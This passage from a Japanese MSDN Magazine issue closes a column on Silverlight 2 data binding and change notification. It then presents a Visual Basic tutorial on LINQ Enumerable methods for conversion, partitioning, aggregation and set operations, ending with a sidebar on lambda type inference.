OneTime バインドは、アプリケーションが開始されるか DataContext が変更されると、ソースをターゲットに送信します。OneWay バインドも、ソースをターゲットに送信します。ただし、ソースが INotifyPropertyChanged インターフェイスを実装している場合、ソースが更新されると、ターゲットは更新を受け取ります。TwoWay バインドは、ソース データをターゲットに送信し、ターゲット プロパティの値に変更があった場合は、値がソースに返されます。OneWay と TwoWay のバインドはどちらも、ソース オブジェクトが INotifyPropertyChanged を実装し、ソースのプロパティ setter が PropertyChanged イベントを生成する場合にのみ、変更をターゲットに通知します。
前の例では、CategoryName は TextBlock に表示されるだけで編集できないので、OneWay バインドを使用しています。UnitsInStock については、編集可能な TextBox に表示されるので、TwoWay バインドを使用しています。ユーザーが TextBox で UnitsInStock の値を編集し、TextBox がフォーカスを失うと、変更がソース オブジェクトに返送されます。
OneTime バインドは、表示中に変更されることのない読み取り専用の情報を表示するのに最適です。OneWay バインドは、表示中に変更される可能性のある読み取り専用の情報を表示するのに適しています。たとえば、CategoryName TextBlock で OneWay の代わりに OneTime バインドを使用した場合は、[Cancel] ボタンをクリックして製品一覧を更新しても、OneTime バインド モードを使用する TextBlock は更新されません。最後に、TwoWay バインドは、ユーザーがコントロールのデータを変更してデータ ソースに反映できるようにする必要がある場合に、最善の選択です。

変更イベント
OneWay バインドおよび TwoWay バインドでソースの変更をターゲットに通知するうえで 1 つの鍵となるのは、INotifyPropertyChanged を実装することです。Product クラスはこのインターフェイスを実装しており、このインターフェイスは 1 つのイベント PropertyChanged で構成されます。PropertyChanged イベントは、送信者および変更のあったプロパティの名前を、パラメータとして受け取ります。Silverlight のデータ バインドは、データ ソースから送られるこれらのイベントをリッスンします。クラスがこのインターフェイスを実装しておらず、プロパティ setter で PropertyChanged イベントの生成も行わない場合、ターゲットは更新を受け取りません。PropertyChangedEventHandler は、Product クラスにおいて次のコード行で実装されます。
public override event PropertyChangedEventHandler PropertyChanged;
この例では、Product クラスは INotifyPropertyChanged インターフェイスを実装するカスタム EntityBase クラスを継承するので、イベントを単に定義するのではなく、オーバーライドしています。ここで示す EntityBase クラスは、PropertyChangedEventHandler を仮想的に実装しているので、派生する Product や Category などのクラスでオーバーライドできます。
[DataContract]
public abstract class EntityBase : INotifyPropertyChanged
{
    protected void PropertyChangedHandler(EntityBase sender,
        string propertyName)
    {
        if (PropertyChanged != null)
            PropertyChanged(sender, new PropertyChangedEventArgs(
                propertyName));
    }
    public virtual event PropertyChangedEventHandler PropertyChanged;
}
また、EntityBase クラスでは、派生クラスで PropertyChanged イベントを生成するのに便利なように、PropertyChangedHandler メソッドも定義されています。これは、イベントを生成するロジックを 1 か所にまとめてコードを減らす、簡単なリファクタリングです。たとえば、Product クラスには、製品の価格の値を設定して基本クラスの PropertyChangedHandler メソッドを呼び出す UnitPrice プロパティがあります。
[DataMember]
public decimal UnitPrice
{
    get { return _unitPrice; }
    set
    {
        _unitPrice = value;
        base.PropertyChangedHandler(this, "UnitPrice");
    }
}
このメソッドは、PropertyChanged イベントを生成します。このイベントは OneWay または TwoWay バインドに送信され、バインドはターゲットのコントロールを新しい値で更新します。Product クラスのすべてのプロパティ setter が、このパターンを使用します。
サンプル アプリケーションで ListBox から製品を選択し、TextBox で単価を編集することで、プロパティの変更通知を試してみることができます。tbUnitPrice TextBox は TwoWay バインドを使用しているので、これにより新しい価格がソースに送信されます。ソースが更新されると、PropertyChanged イベントが発生します。その結果、イベントをリッスンしているすべてのバインドが、ターゲットの値を更新します。ListBox は OneWay バインドを実装しているので、価格は自動的に新しい値に更新されます。

このサンプル アプリケーションで示したように、Silverlight 2 のデータ バインド機能は、バインド宣言構文を使用して簡単に実装できます。バインドは、ターゲットを更新できるように PropertyChanged イベントをリッスンします。このコラムでは、Silverlight を使用するとバインドを簡単に実装できること、WCF サービスと通信してビジネス オブジェクトやデータベースを操作する方法、および ClientAccessPolicy.xml ファイルを定義してリモート通信を許可および制限する方法を説明しました。

ご質問やご意見は、John (mmdata@microsoft.com) まで英語でお送りください。

John Papa (johnpapa.net) は、ASPSOFT (aspsoft.com) の上級コンサルタントです。野球を熱狂的に愛し、夏の夜を家族と共にヤンキースの応援に費やします。C# の MVP であり、INETA の講演者でもある John は、何冊かの書籍を発表しており、最新作の『Data Access with Silverlight 2』は 2008 年 12 月に O'Reilly 社から出版される予定です。また、主にカンファレンス (DevConnections、VSLive など) での講演で活躍しています。


Advanced Basics
LINQ Enumerable クラス (第 2 部)
Ken Getz

コードのダウンロード : AdvancedBasics2008_09a.exe (180 KB)
オンラインでのコードの参照
目次
シーケンスを変換する
シーケンス内に配置する
シーケンスを計算する
集合演算を実行する
まとめ
前回のコラムでは、System.Linq.Enumerable クラスのおおよそ半分のメソッドを紹介するクイック ツアーへ皆さんをご案内しました。このクラスは、Visual Basic® および C# において LINQ クエリを作成する拡張メソッドをすべて提供し、List(Of T) や Array など他のクラスの拡張も行い、クエリ メソッドをサポートしないオブジェクトでセマンティクスのクエリを使用できるようにします。この 2008 年 7 月号のコラムは、msdn.microsoft.com/magazine/cc700332 でご覧いただけます。
今回は、オブジェクトのシーケンスに対する変換、配置、計算、および集合演算を処理するメソッドを紹介し、このメソッドのツアーを完了します (ここで紹介するすべてのコードが含まれているサンプル アプリケーションをダウンロードしてください。サンプル アプリケーションの使用は、コードがどのように動作するかを理解するうえで役立ちます。皆さんが説明を読み進めながら、サンプル アプリケーションに変更を加えて実験できる点が特に有用です)。

シーケンスを変換する
列挙可能なシーケンスでの作業の結果を取得して、特定の型を必要とするメソッドに渡す場合、または列挙可能なシーケンスに格納されているデータを使用して特定の型のメソッドを呼び出す場合は、データを別の型へと変換する Enumerable クラス メソッドのいずれかを呼び出す必要がある場合があります。たとえば、シーケンス内に顧客データがある場合に、顧客の名前のコンマ区切りのリストを取得するとします。この目的を達成するにはいくつかの方法がありますが (このコラムで後述する Aggregate メソッドの説明を参照)、String.Join メソッドを使用する方法が便利です。
問題となるのは、このメソッドが入力として文字列の配列のみを受け取ることですが、コレクションを配列に変換する Enumerable.ToArray メソッドを使用して問題を解決できます。
'From ToArrayDemo in the sample:
Dim db As New SimpleDataContext
Dim customers = _
  From cust In db.Customers _
  Where cust.Country = "France" _
  Select cust.ContactName
Dim nameList As String = String.Join(", ", customers.ToArray())
Northwind サンプル データベースのデータを使用し、このコードでは nameList 変数に次のテキスト値を設定します。
Frédérique Citeaux, Laurence Lebihan, Janine Labrune, Martine Rancé, Carine Schmitt, Daniel Tonini,
Annette Roulet, Marie Bertrand, Dominique Perrier, Mary Saveley, Paul  Henriot
列挙可能なシーケンスを汎用の Dictionary に変換できます。ただし、少なくともキー値を生成する方法を示す関数を提供する必要があります。Enumerable.ToDictionary メソッドにより、いくつかのオーバーロードが提供され、キー セレクタ、値セレクタ、キーの比較処理、および値の比較処理のメソッドのさまざまな組み合わせを指定できます。
Northwind サンプル データベースから製品情報を抽出し、メモリ内ディクショナリで製品 ID 値をキーとして使用する場合を考えましょう。この操作を実行するコードを図 1 に示します。
図 1 ディクショナリの作成
' From ToDictionaryDemo in the sample:
Dim db As New SimpleDataContext
Dim someProducts = _
  From prod In db.Products _
  Where prod.CategoryID = 1

Dim productsDictionary = _
  someProducts.ToDictionary( _
    Function(prod) prod.ProductID)

' Display the contents of the dictionary:
Dim sw As New StringWriter
For Each kvp In productsDictionary
  sw.WriteLine("{0}: {1}", _
    kvp.Key, kvp.Value.ProductName)
Next
このコードでは、someProducts 変数の内容を取得し、キー値として ProductID フィールドを使用して Dictionary に変換します。次に、このコードはディクショナリ内の全項目をループ処理し、キー (つまり、ProductID フィールド) および各ディクショナリ項目の値の 1 つのフィールドを出力します。
ディクショナリ内のキーのように単純な型ではない値を使用する場合はどうでしょう。Product 全体をディクショナリ キーとして使用することが考えられます。その場合は、再度、カスタム比較処理のインスタンスを提供して、キーのインスタンスを比較する方法を指定できるようにします。
図 2 のコードでは、ディクショナリ内の各項目のキー値として Product 全体を使用しており、単純に、IEqualityComparer(Of Product) を実装するカスタム クラスを提供しているだけです。このクラスは、2 つの製品の ProductID フィールドが等しい場合に 2 つの製品が等しいと判断します (このクラスはサンプル プロジェクトにも含まれています)。
図 2 製品の比較処理
Public Class ProductComparer
  Implements IEqualityComparer(Of Product)

  Public Function Equals1( _
    ByVal x As Product, ByVal y As Product) As Boolean _
    Implements IEqualityComparer(Of Product).Equals

    Return x.ProductID.Equals(y.ProductID)

  End Function

  Public Function GetHashCode1( _
    ByVal obj As Product) As Integer _
    Implements IEqualityComparer(Of Product).GetHashCode

    Return obj.GetHashCode

  End Function
End Class
図 3 では、最初のラムダ式でキーを計算し、2 番目の式で値を計算し、ProductComparer クラスのインスタンスによって 2 つキーを比較する方法を指定します。図 2 と図 3 では、構成の異なるディクショナリを使用して同じ結果を生成し、StringWriter インスタンスに同じ出力を設定しています。
1: Chai
 2: Chang
24: Guaraná Fantástica
34: Sasquatch Ale
35: Steeleye Stout
38: Côte de Blaye
39: Chartreuse verte
43: Ipoh Coffee
67: Laughing Lumberjack Lager
70: Outback Lager
75: Rhönbräu Klosterbier
76: Lakkalikööri
図 3 2 つのキーの比較
' From ToDictionaryDemo in the sample:
Dim productsDictionary2 As Dictionary(Of Product, String) = _
  someProducts.ToDictionary( _
    Function(prod) prod, _
    Function(prod) prod.ProductName, _
    New ProductComparer())

' Display information from the new dictionary:

sw = New StringWriter()
For Each kvp In productsDictionary2
  sw.WriteLine("{0}: {1}", kvp.Key.ProductID, kvp.Value)
Next
メソッドの入力として、列挙可能なシーケンスではなく汎用の List が必要な場合があります。List に変換するには、Enumerable.ToList メソッドを使用します。次のコードでは、製品名のリストを取得して汎用の List(Of String) に変換してから、IndexOf メソッドを使用してリスト内の項目を見つけます。
' From ToListDemo in the sample:
Dim db As New SimpleDataContext
Dim productNames = _
  db.Products.Select(Function(prod) prod.ProductName).ToList()
Dim results = _
  String.Format("Chang was found at index {0}", _
    productNames.IndexOf("Chang"))
サンプル コードを実行すると、"results" 変数に次のテキストが格納されます。
Chang was found at index 2
Dictionary データ構造体では、キーが 1 つの値にマップされます。Lookup データ構造体では、キーが値のグループにマップされます。この構造体は、階層的な Enumerable インスタンス (たとえば、さまざまな Product インスタンスにリンクする CategoryID) に完全に一致するものです。Enumerable.ToLookup メソッドでは、値に対するキーの単純な階層があることを前提として変換が実行されます。
図 4 のコードでは、IEnumerable(Of Product) シーケンスを Lookup に変換します (各キーが CategoryID で各値が Product)。ToLookup メソッドに対する最初のパラメータはキーを決定する関数で、2 番目のパラメータは各項目の値を決定する関数です。
図 4 IEnumerable シーケンスを Lookup に変換
' From ToLookupDemo in the sample:
Dim db As New SimpleDataContext
Dim products = _
  From prod In db.Products _
  Where prod.UnitPrice > 40 _
  Order By prod.CategoryID

Dim lookup = _
  products.ToLookup( _
    Function(prod) CInt(prod.CategoryID), _
    Function(prod) prod)

' Iterate through the lookup:
sw = New StringWriter
For Each grouping In lookup
  sw.WriteLine("Category ID = {0}", grouping.Key)
  For Each value In grouping
    sw.WriteLine("    {0} ({1:C})", _
                 value.ProductName, value.UnitPrice)
  Next
Next
サンプル コードを実行すると、図 5 のテキストが StringWriter 変数に置き換えられます。各キーは複数の製品に関連付けられ、情報は Lookup インスタンスに格納されます。
ここで、何らかの非ジェネリック コレクションがあると仮定し、そのコレクションに標準クエリ演算子を適用する場合はどうするかについて考えましょう。たとえば、データを格納している ArrayList があり、Where メソッド呼び出しを使用してリストをフィルタ処理するとします。Enumerable.Cast メソッドでコレクションの各要素を特定の型にキャストし、特定の型が格納された汎用の IEnumerable インスタンスを取得します。その後で、図 6 に示すように結果を操作できます。
図 5 StringWriter のテキスト
Category ID = 1
    Côte de Blaye ($263.50)
    Ipoh Coffee ($46.00)
Category ID = 2
    Vegie-spread ($43.90)
Category ID = 3
    Tarte au sucre ($49.30)
    Sir Rodney's Marmalade ($81.00)
    Schoggi Schokolade ($43.90)
Category ID = 4
    Raclette Courdavault ($55.00)
Category ID = 6
    Thüringer Rostbratwurst ($123.79)
    Mishi Kobe Niku ($97.00)
Category ID = 7
    Rössle Sauerkraut ($45.60)
    Manjimup Dried Apples ($53.00)
Category ID = 8
    Carnarvon Tigers ($62.50)
図 6 ArrayList のフィルタ処理
' From CastDemo in the sample:
Dim items As New ArrayList
items.Add("January")
items.Add(1)
items.Add("August")
items.Add(14)
items.Add("October")
items.Add(25)
items.Add("April")
items.Add(38)

' Cast the ArrayList as a queryable group of strings
' (if the conversion to String failed for any element,
' this would raise an exception):
Dim query = items.Cast(Of String)()

Dim results = _
  query.Where(Function(item) item.StartsWith("A"))
Enumerable.Cast ですべての入力要素を特定の型に変換できなかった場合は、例外がスローされるので注意してください。その場合は、リストを変換する前に OfType メソッドを使用してフィルタ処理できます。図 6 では、ArrayList データをフィルタ処理して先頭が "A" の項目のみを取得しています。図 6 のコードを実行すると、results という変数には次の項目が含まれます。
August
April
最終的に、Enumerable.AsEnumerable メソッドでは、ソースの種類を IEnumerable として扱うことができるため、実装されたクラス内のメソッドではなく IEnumerable のメソッドを使用できます。このメソッドは特定の状況では有用ですが、一般的なコーディングで必要になることはあまりありません。
このメソッドについて、ドキュメント内の複雑な例で説明しています。固有のクラスの動作を強制的に Ienumerable 型と同じような動作にする必要がある場合は、Enumerable.AsEnumerable メソッドの説明をよく読んでください。

シーケンス内に配置する
LINQ が遅延実行でデータを取得する場合に、大きなデータのセットへのアクセスを仮想化するとします。そのためには、データ内の特定のオフセットから開始してデータ ソースから指定の行数を取得する方法が必要です。Enumerable.Take メソッドと Enumerable.Skip メソッドを使用する方法があります。これらのメソッドにより、行の取得を開始する前に取得する行数とスキップする行数を指定できます。サンプル プロジェクトには、次の簡単なコードが含まれています。このコードでは、10 行をスキップした後で 5 行を取得します。
Dim db As New SimpleDataContext
Dim products = (From p In db.Products _
   Order By p.ProductName _
     Select String.Format("{0}: {1}", p.ProductID, p.ProductName)). _
       Skip(10).Take(5)
Enumerable.TakeWhile メソッドと Enumerable.SkipWhile メソッドを使用して、特定の条件が true である場合にシーケンス内の値を取得およびスキップすることができます。TakeWhile メソッドは、条件が true である場合に値を取得し、取得したすべての値を含むシーケンスを返します。SkipWhile メソッドは、条件が true の場合に値をスキップし、入力シーケンスの残りの値を返します。
図 7 のサンプル プロシージャでは、ランダムな整数を格納する汎用の List(Of Integer) を作成します。次に、各項目が特定の数よりも少ない場合に値を取得し、結果を表示します (サンプル内の GetCommaList メソッドは、入力シーケンスの内容を格納したコンマ区切りの文字列を作成します)。このコードでは、SkipWhile および TakeWhile を呼び出して、意思決定を実行する関数に各項目のインデックスを渡す、2 つ目の方法が示されています。図 7 の下部には結果が表示されています。
図 7 SkipWhile と TakeWhile
' From TakeWhileSkipWhileDemo
Dim sw As New StringWriter
Dim rnd As New Random
Dim cutOff As Integer = rnd.Next(50, 100)

' Create a list containing a fixed set of random numbers:
Dim items As New List(Of Integer)
For i As Integer = 1 To 20
  items.Add(rnd.Next(1, 100))
Next

sw.WriteLine("The cutoff value was: {0}", cutOff)
sw.WriteLine("The full list is:")
sw.WriteLine(GetCommaList(items))

Dim list = items.TakeWhile(Function(item) item < cutOff)
' Show the list:
sw.WriteLine()
sw.WriteLine("The result list is (item < cutoff):")
sw.WriteLine(GetCommaList(list))

' Can also pass in the index to the lambda expression:
list = items.TakeWhile(Function(item, index) item > index)
sw.WriteLine()
sw.WriteLine("The result list is (TakeWhile item > index):")
sw.WriteLine(GetCommaList(list))

list = items.SkipWhile(Function(item, index) item > index)
sw.WriteLine()
sw.WriteLine("The result list is (SkipWhile item > index):")
sw.WriteLine(GetCommaList(list))

RESULTS
The cutoff value was: 77
The full list is:
8, 5, 3, 77, 34, 54, 54, 40, 62, 90, 61, 76, 30, 48, 91, 71, 83, 6, 48, 66

The result list is (item < cutoff):
8, 5, 3

The result list is (TakeWhile item > index):
8, 5, 3, 77, 34, 54, 54, 40, 62, 90, 61, 76, 30, 48, 91, 71, 83

The result list is (SkipWhile item > index):
6, 48, 66

シーケンスを計算する
Enumerable クラスにより、シーケンスに対して計算を実行するいくつかのメソッドが提供されます。Visual Basic では、これらのメソッドのほとんどすべてをクエリ キーワードとして公開します。単純な計算の場合は、Enumerable.Average、Enumerable.Count、Enumerable.LongCount、Enumerable.Max, Enumerable.Min、または Enumerable.Sum の各メソッドを使用します。他の計算を行うには、Enumerable.Aggregate メソッドを使用し、必要に応じて特定の計算を実行する関数を提供します。
Count メソッドと LongCount メソッドには、パラメータは必要ありません。入力シーケンス内のすべての要素をカウントします。また、関数をパラメータとして指定し、カウント前に関数で結果をフィルタ処理することもできます。入力シーケンスに 1 つの列のみが含まれる場合に、他のすべてのメソッドをパラメータなしで呼び出すことができます。そうでない場合、計算する対象の値を示す関数を提供する必要があります。図 8 のコードは単純な計算を実行します。コード内のコメントに詳しい説明が示されています。
図 8 カウントと平均
' From SimpleCalculationDemo in the sample:
Dim db As New SimpleDataContext
Dim decimalResults = _
  From product In db.Products _
  Where product.CategoryID = 1 _
  Select product.UnitPrice

average = decimalResults.Average()

Dim results = _
  From product In db.Products _
  Where product.CategoryID = 1

average = results.Average(Function(prod) prod.UnitPrice)

' If you need an Int64 result, use Enumerable.LongCount().
' Supply no parameter to count all elements in the sequence.
' Supply a function to filter the results before counting:
Dim count = results.Count()

' Calculate filtered count:
count = results.Count( _
  Function(prod) prod.ProductName.StartsWith("C"))

' Retrieve the maximum unit price.
Dim max = results.Max(Function(prod) prod.UnitPrice)

' Retrieve the minimum unit price for products
' whose name starts with C.
Dim min = _
  results. _
    Where(Function(prod)
      prod.ProductName.StartsWith("C")). _
      Min(Function(prod As Product) prod.UnitPrice)

' Calculate sum of units in stock:
Dim total = results.Sum(Function(prod) prod.UnitsInStock)
Products テーブルで UnitPrice フィールドの標準偏差を求める必要があるとします。標準偏差の計算では、平均値 (この場合は価格) との差を示す値が求められます。標準偏差を計算するには、最初に価格の分散 (価格と平均価格との差の平方和の平均値) を計算してから、結果の平方根を取得します。Enumerable クラスでは、この計算を簡単に行う方法は提供されていませんが、Average メソッドと Aggregate メソッドを組み合わせて結果を生成できます。
Aggregate を呼び出すには、"seed" 値 (つまり、計算結果の初期値) と計算する関数を使用します。この関数は 2 つのパラメータを受け取ります。最初のパラメータには現在の合計値が含まれ、2 番目のパラメータには集計する特定の項目が含まれます。関数内で計算を実行します。たとえば、UnitPrice と平均価格の差の平方和を求めるには、次のような集計関数を作成します。
Function(current As Decimal, item As Product) _
  current + CDec((item.UnitPrice - averagePrice) ^ 2))
図 9 のコードは標準偏差を計算します。
図 9 標準偏差
' From AggregateDemo in the sample:
Dim db As New SimpleDataContext
Dim results = _
  From product In db.Products _
  Where product.CategoryID = 1

' Calculate the average price. Note the call to
' CDec--because the UnitPrice field is nullable,
' you must convert from Decimal? to Decimal:
Dim averagePrice = _
CDec(results.Average(Function(prod) prod.UnitPrice))

' Note that the seed value is 0:
Dim sumSquares = results.Aggregate(0, _
  Function(current As Decimal, item As Product) _
    current + CDec((item.UnitPrice - averagePrice) ^ 2))

Dim variance = sumSquares / results.Count
Dim standardDeviation = variance ^ 0.5
数値以外の値でも Aggregate メソッドを使用できます。先に紹介した例で String 値の配列としてリストをキャストしました。その例のように String.Join メソッドを使用できますが、Aggregate メソッドでも同じ結果を得ることができます。
' From AggregateDemo in the sample:
Dim db As New SimpleDataContext
Dim customers = _
  From cust In db.Customers _
  Where cust.Country = "France" _
  Select cust.ContactName

' Note that the seed value is an empty string:
Dim customerNames = customers.Aggregate(String.Empty, _
  Function(current, name) _
    If(String.IsNullOrEmpty(current), name, current & ", " & name))

集合演算を実行する
Enumerable クラスは、和集合や共通集合などの集合演算を実行するメソッドを提供します。最後のセクションでは、これらの機能を提供するクラスのメソッドについて説明します。図 10 に示す最初の例では、Enumerable.Concat、Enumerable.Union、Enumerable.Intersect、および Enumerable.Except の各メソッドが使用されています。それぞれのメソッドがシーケンスのペアに対して動作します。
図 10 Concat、Union、Intersect、Except の使用
' From SimpleSetDemo in the sample: Concatenates two sequences, taking
' all members of each. Union removes duplicates.
Dim db As New SimpleDataContext

' Create two sequences:
Dim group1 = db.Customers.Select(Function(cust) cust.Country).Take(5)
Dim group2 = db.Customers.Select(Function(cust) cust.Country) _
  .Skip(30).Take(5)

' Show both groups:
sw.WriteLine("group1:" & GetCommaList(group1))
sw.WriteLine("group2:" & GetCommaList(group2))

' Return the complete list of countries:
Dim group3 = group1.Concat(group2)

' Return a unique list of countries in the two groups:
group3 = group1.Union(group2)

' Find all elements in group1 that are also in group2: Can supply custom
' IEqualityComparer instance to compare items if they're not simple
' types:
group3 = group1.Intersect(group2)

' Find the differences between group1 and group2. That is, return the set
' of all items that are in the first group but not the second. This is
' equivalent to calculating the union of the two, and removing the
' contents of the intersection of the two. Can supply custom
' IEqualityComparer instance to compare items if they're not simple ' types:
group3 = group1.Except(group2)

RESULTS
group1: Germany, Mexico, Mexico, UK, Sweden
group2: France, France, France, France, Germany

group1.Concat(group2): Germany, Mexico, Mexico, UK,
Sweden, France, France, France, France, Germany

group1.Union(group2): Germany, Mexico, UK, Sweden, France
group1.Intersect(group2): Germany
group1.Except(group2): Mexico, UK, Sweden
Concat メソッドと Union メソッドは、2 つのシーケンスの結果を組み合わせるという点で似ています。異なる点は、Concat メソッドが 1 つのシーケンスの出力を別のシーケンスの出力に追加するのに対して、Union メソッドは結果から重複を除去します。Intersect メソッドは、両方の入力シーケンスに共通するすべての項目を含むシーケンスを返し、Except メソッドは、最初のシーケンスに含まれていて 2 番目のシーケンスには含まれていない項目をすべて返します (つまり、2 つのシーケンスの差を返します)。図 10 のコードを実行した結果が図の下部に示されています (この出力では、最初に 2 つのシーケンスが示され、次に計算の結果が示されています)。
ここで使用するすべてのサンプルは、単純な既定の比較処理を使用していることに注意してください。より複雑なオブジェクトのシーケンスで集合演算を実行する場合は、前の例で示したように、カスタム比較処理のインスタンスを受け取るメソッドのオーバーロード バージョンを呼び出すことができます。
Enumerate クラスでは、Enumerable.Join、Enumerable.GroupBy、および Enumerable.GroupJoin の各メソッドを使用する、より複雑な集合演算もいくつかサポートされています。これらのメソッドの説明とサンプルは、この後すぐに取り上げます。
いくつかのメソッドで関連する 2 つのシーケンスを取得し、その両方のシーケンスのキー値の相関関係に基づいてシーケンスを結合することについて考えてみましょう。当然ながら、この作業はリレーショナル データベース関連の処理として扱うのが一般的ですが、Enumerable.Join メソッドを使用して同様の作業を行うことができます。図 11 は、カテゴリが格納されたシーケンスと、製品が格納されたシーケンスとを結合します。
図 11 2 つのシーケンスの結合
' From ComplexSetOperationDemo in the sample:
Dim categories = _
  db.Categories.Where(Function(cat) cat.CategoryID = 3)

' If the correlation key isn't a simple type, you could
' provide a comparer to compare the two key values:
Dim result = categories.Join(db.Products, _
  Function(cat) cat.CategoryID, _
  Function(prod) prod.CategoryID, _
  Function(cat, prod) _
    New With {.CategoryName = cat.CategoryName, _
      .ProductName = prod.ProductName})

sw = New StringWriter
For Each item In result
  sw.WriteLine("{0} -- {1}", item.CategoryName, item.ProductName)
Next

RESULTS
Confections -- Pavlova
Confections -- Teatime Chocolate Biscuits
Confections -- Sir Rodney's Marmalade
' More items here. . .
Confections -- Tarte au sucre
Confections -- Scottish Longbreads
Join メソッドを呼び出すには、親シーケンスの主キーを返す関数、子シーケンスの外部キーを返す関数、および 2 つのシーケンスからのデータを出力シーケンスに射影する関数が必要です (相関キーが単純な型でない場合は、前の例に示したように、キー値を比較するためのカスタム比較処理も提供する必要があります)。図 11 のサンプル コードを実行して得られた結果は、図の下部に示されています。
Enumerable.GroupBy メソッドは、入力シーケンスをキー値ごとにグループ化し、項目のグループを作成します。出力シーケンスの各グループには、"header" 項目と、グループ化された項目へのアクセスを提供する Items プロパティが含まれます。Enumerable.GroupBy メソッドを呼び出すには、少なくとも 3 つの関数を使用する必要があります。最初の関数でグループ化キーを提供し、2 番目の関数でグループ内の結果の項目を提供し、3 番目の関数でヘッダー コンテンツを提供します。
図 12 のコードは、製品のシーケンスをカテゴリ ID ごとにグループ化し、結果を表示します。図の下部には、このコードで作成された出力がカテゴリ ID ごとに示されています。
図 12 カテゴリごとのグループ化
' From ComplexSetOperationDemo in the sample:
Dim groupedProducts = _
  (From prod In db.Products _
   Where prod.UnitsInStock < 10).GroupBy( _
    Function(prod) prod.CategoryID, _
    Function(prod) _
      New With {prod.ProductName, prod.UnitsInStock}, _
    Function(catID, group) New With _
        {.CategoryID = catID, .Count = group.Count(), _
         .Items = group})

sw = New StringWriter
For Each grouping In groupedProducts
  sw.WriteLine("Category {0}: {1} item(s)", _
    grouping.CategoryID, grouping.Count)
  For Each item In grouping.Items
    sw.WriteLine("{0}{1} ({2})", vbTab, _
      item.ProductName, item.UnitsInStock)
  Next
Next

RESULTS
Category 2: 3 item(s)
  Chef Anton's Gumbo Mix (0)
  Northwoods Cranberry Sauce (6)
  Louisiana Hot Spiced Okra (4)
Category 3: 2 item(s)
  Sir Rodney's Scones (3)
  Scottish Longbreads (6)
Category 4: 2 item(s)
  Gorgonzola Telino (0)
  Mascarpone Fabioli (9)
Category 6: 3 item(s)
  Alice Mutton (0)
  Thüringer Rostbratwurst (0)
  Perth Pasties (0)
Category 7: 1 item(s)
  Longlife Tofu (4)
Category 8: 1 item(s)
  Rogede sild (5)
最後に、Enumerable.GroupJoin メソッドで GroupBy メソッドと Join メソッドの機能を結合します。このメソッドは、一致するキーに基づいて 2 つのシーケンスを関連付け、結果を右側のシーケンスにグループ化します。標準的なデータベースにはこのメソッドに相当する機能はありません。このメソッドは、関連するデータのセットを操作する場合に便利です。
GroupJoin メソッドを呼び出すには、3 つの関数が必要です。最初の関数で親側のキーを定義します。2 番目の関数で子側のキーを定義します。3 番目の関数で、親の行と子のグループを指定して、行の "1" セットの出力形式にデータを射影します。これらの 2 つのキーの型は同じである必要があります。型が単純な型でない場合は、キーを比較できるようにカスタム比較処理を指定する必要があります。
図 13 のサンプル コードは、カテゴリ ID を相関キーとして使用し、カテゴリと製品のシーケンスを結合します。このコードでは、Category プロパティ (カテゴリ行全体を格納する)、Count プロパティ (子の行の数を格納する)、および Items プロパティ (子の行のグループを公開する) を含む出力行を指定します。このサンプルでは、各グループを反復処理し、ヘッダー行に関する情報を出力してから、それぞれの子の行に関する情報を表示します。このサンプルを実行すると、図 13 の下部に示す結果が StringWriter に格納されます。
図 13 カテゴリと製品のシーケンスの結合
' From ComplexSetOperation in the sample:
categories = db.Categories.Where(Function(cat) cat.CategoryID < 5)
products = db.Products

Dim groupedResults = _
  categories.GroupJoin(products, _
  Function(cat) cat.CategoryID, _
  Function(prod) prod.CategoryID, _
  Function(cat, group) _
    New With {.Category = cat, .Count = group.Count, _
      .Items = group})

sw = New StringWriter
For Each grouping In groupedResults
  sw.WriteLine("{0}: {1} item(s)", _
    grouping.Category.CategoryName, grouping.Count)
  For Each item In grouping.Items
    sw.WriteLine("{0}{1} ({2})", vbTab, _
      item.ProductName, item.UnitsInStock)
  Next
Next

RESULTS
Beverages: 12 item(s)
  Chai (39)
  Chang (17)
  ' Items removed here. . .
  Lakkalikööri (57)
Condiments: 12 item(s)
  Aniseed Syrup (13)
  Chef Anton's Cajun Seasoning (53)
  ' Items removed here. . .
  Original Frankfurter grüne Soße (32)
Confections: 13 item(s)
  Pavlova (29)
  ' Items removed here. . .
  Scottish Longbreads (6)
Dairy Products: 10 item(s)
  Queso Cabrales (22)
  ' Items removed here. . .
  Mozzarella di Giovanni (14)

まとめ
拡張メソッドを適切に使用することにより、Enumerable クラスでは、多数の異なる型のコレクション、リスト、およびシーケンスをより簡便に操作できます。さらに、Enumerable クラスには LINQ クエリ操作の中核となる機能があります。データベースや各種データ構造体のデータを使用するアプリケーションを Visual Studio® 2008 で作成する場合は、多彩な Enumerable クラスの機能を完全に内部に組み込むことをお勧めします。より効率的なコードをより迅速に作成できるでしょう。私は、自分のコードをさらに宣言的にする方法を定期的に探しています。Enumerable クラスでは、ループ処理を避けてコードの記述を削減することを非常に簡単に実現できます。

インサイト : ジェネリックと型の推定
Ken は、ラムダおよび拡張メソッドを共に使用するさまざまな興味深い方法を紹介してきました。ここでは、"A" で始まるすべての文字列を選択する例を見てみましょう。
Dim results = query.Where(Function(item) item.StartsWith("A"))
これは、シーケンス内の各要素に対して動作するラムダ式を定義します。ところで、項目が StartsWith メソッドを持っていることをコンパイラはどのように認識するのでしょうか。また、IntelliSense® を "item dot" の後に提供することを IDE はどのように認識するのでしょうか。遅延バインディング呼び出しでしょうか。
いいえ。実は、コンパイラが "ラムダ パラメータによる型の推定" と呼ばれるプロセスにおいてあなたの代わりに特定の処理を実行しているのです。次に示す Where 拡張メソッドに対するシグネチャをご覧ください。
<Extension()> _
  Function Where(Of T)(source As IEnumerable(Of T), _
  predicate As Func(Of T, Boolean)) As IEnumerable(Of T)
コンパイラは、この拡張メソッドに対する呼び出しを認識したときに、次のような処理を実行します。
Dim results = Enumerable.Where(query, Function(item) _
  item.StartsWith("A"))
ジェネリック パラメータがメソッドに渡されていないことに注意してください。(Of T) 構文が使用されています。パラメータを明示的に渡すこともできますが、渡さなかった場合、コンパイラは渡された引数に基づいてジェネリック型を推測しようとします。この例では、コンパイラは "T" という 1 つのジェネリック パラメータを持ちます。"T" は、3 か所で使用されます (2 つの引数と 1 つの戻り値)。また、コンパイラはパラメータ クエリからの型ヒントも 1 つ保持しています。
クエリの型は IEnumerable(Of String) であり、Where の対応するパラメータの型は IEnumerable(Of T) です。このように、コンパイラは T が String 型であると推測できます。
結果として、コンパイラは既にコンテキストから認識しているので、ラムダ式のパラメータに対する型を指定する必要はありません。ラムダは、効果的に、型指定した場合と全く同じように扱われます。
Function(item As String) item.StartsWith("A")
このプロセスは、複数のパラメータを使用するラムダの場合も同じように行われるため、キー入力を省略できるだけでなく、コードがより簡潔になります。
